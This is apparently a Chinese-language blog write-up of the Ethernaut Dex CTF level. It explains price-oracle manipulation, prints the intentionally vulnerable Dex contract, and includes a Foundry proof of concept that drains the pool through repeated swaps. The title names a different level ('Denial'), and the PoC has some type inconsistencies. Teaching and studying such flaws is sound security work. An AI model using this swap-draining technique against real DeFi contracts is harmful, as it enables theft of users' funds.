通过破解 Ethernaut - Denial 来了解价格操纵,该合约非常简单,旨在学习,后续将更新如何通过闪电贷操纵价格,以及BonqDAO 价格操纵事件分析
on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
去中心化交易所(DEX)是加密货币交易的主要方式。它们允许用户交换一种加密货币为另一种加密货币,而无需通过中央机构。
在执行交易的过程里,价格数据是至关重要的,那么价格如何获取呢?交易所本身是去中心化的,但由单一交易所提供的资产价格是中心化的,因为它来自一个去中心化交易所。然而,如果我们考虑代表实际资产而不是虚构资产的代币,那么大多数代币都会在多个去中心化交易所和网络中拥有交易对。这将减少在特定去中心化交易所受到此类攻击时对资产价格的影响。
价格预言机是用于查看给定资产价格信息的任何工具.
chainlink是最知名的预言机之一,提供安全可靠的数据源,支持多种数据源接入,并提供可信赖的数据传输。
UniswapV2 Oracle 依赖于一种称为 TWAP 的时间加权价格模型,该协议是防止价格操控的机制,但远远不够,因为该协议严重依赖于去中心化交易所协议的流动性,如果流动性过低,价格很容易被操纵。
大多数攻击场景包括:
替换价格预言机地址
a. 根本原因:特权操作缺乏身份验证机制 b. 案例:Rikkei Finance
攻击者通过闪电贷,瞬间抽走预言机的流动性,使受害合约获取异常的价格信息, 此漏洞常在 GetPrice、Swap、StackingReward、Transfer(带销毁费用)等关键功能中被利用.
a. 根本原因:项目方使用了不安全的预言机,或是未实现TWAP时间加权平均价格。
b. 案例:One Ring Finance
攻击者可以利用价格操纵迫使 DeFi 协议执行有损于其利益的转账操作。例如,他们可以操纵协议进行从价值较低的资产到价值较高的资产的交换,或同意进行一笔巨额贷款,其中低价值的资产被用作抵押品。这种漏洞利用是通过操纵代币的流通以及对代币价格的后续影响来实现的。这种行为导致了 DeFi 生态系统内的巨大损失。
下面我们通过 Ethernaut Dex 了解价格操纵攻击。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; import 'openzeppelin-contracts-08/access/Ownable.sol';
contract Dex is Ownable { address public token1; address public token2; constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner { token1 = _token1; token2 = _token2; }
function addLiquidity(address token_address, uint amount) public onlyOwner { IERC20(token_address).transferFrom(msg.sender, address(this), amount); }
function swap(address from, address to, uint amount) public { require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); uint swapAmount = getSwapPrice(from, to, amount); IERC20(from).transferFrom(msg.sender, address(this), amount); IERC20(to).approve(address(this), swapAmount); IERC20(to).transferFrom(address(this), msg.sender, swapAmount); }
function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }
function approve(address spender, uint amount) public { SwappableToken(token1).approve(msg.sender, spender, amount); SwappableToken(token2).approve(msg.sender, spender, amount); }
function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); } }
contract SwappableToken is ERC20 { address private _dex; constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); _dex = dexInstance; }
function approve(address owner, address spender, uint256 amount) public { require(owner != _dex, "InvalidApprover"); super._approve(owner, spender, amount); } }
合约`Dex.sol`实现了去中心化交易所(DEX)的基本功能。它允许DEX的所有者提供代币对 token1 和 token2 的流动性,当最终用户交换这些代币时,不收取任何费用。最终用户将使用DEX来交换(出售)一定数量的一种代币,以获取另一种代币的 swapAmount(取决于DEX的代币价格)。我们主要关注以下3个函数:
- `swap(address from, address to, uint amount)`:交换(卖出/买入)代币。
该函数通过合约里`getSwapPrice`计算交换价格,卖出一定数量的 token1 ,将获取 token2 的数量。之后根据计算出的数量进行转账。
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
- `getSwapPrice(address from, address to, uint amount)`:价格预言机,获取 Dex 的 from-to 的瞬时价格,输入交易对的地址,和交换 from 代币的数量,根据即时价格获取换出 to 代币的数量。该 Dex 不使用外部预言机(如 Chainlink)或 Uniswap TWAP(时间加权平均价格)来计算交换价格。相反,它使用代币的余额来计算,这是一种即时价格,我们从这点入手。
function getSwapPrice(address from, address to, uint amount) public view returns(uint){ return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); }
function balanceOf(address token, address account) public view returns (uint){ return IERC20(token).balanceOf(account); }
在 Solidity 中,除法是通过按照**舍入误差**进行,于所有整数除法都向下舍入到最接近的整数而引入的,7/2 等于3,而不是3.5。
## Proof of Concept。
根据以上分析,完整的 PoC 代码如下:
```solidity
interface IDex {
function token1() external returns (address);
function token2() external returns (address);
function swap(address from, address to, uint amount) external;
function getSwapPrice(address from, address to, uint amount) external view returns(uint);
function approve(address spender, uint amount) external;
}
interface ISwappableToken {
function approve(address owner, address spender, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
}
contract DexTest is BaseTest {
function test_Attack() public {
ISwappableToken token1 = ISwappableToken(IDex(contractAddress).token1());
ISwappableToken token2 = ISwappableToken(IDex(contractAddress).token2());
vm.startPrank(deployer);
token1.approve(contractAddress, 200);
token2.approve(contractAddress, 200);
// To drain the dex our goal is to make the balance of `tokenIn` much lower compared to balance of tokenOut
attackSwap(token1, token2);
attackSwap(token2, token1);
attackSwap(token1, token2);
attackSwap(token2, token1);
attackSwap(token1, token2);
/*
在所有这些交换之后,当前情况如下:
token1 余额 -> 0
token2 余额 -> 65
Dex token1 余额 -> 110
Dex token2 余额 -> 45
如果交换所有的 65 个 token2,将得到 158 个 token1,交易会失败
110 = token2 数量 * 110 / 45
token2 数量 = 45
*/
IDex(contractAddress).swap(address(token2), address(token1), 45);
assertEq(token1.balanceOf(contractAddress) == 0 || token2.balanceOf(contractAddress) == 0, true);
vm.stopPrank();
}
function attackSwap(address tokenIn, address tokenOut) internal {
IDex(contractAddress).swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(player));
}
}
samczsun: So you want to use a price oracle 智能合约安全指南#3:价格预言机的漏洞
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!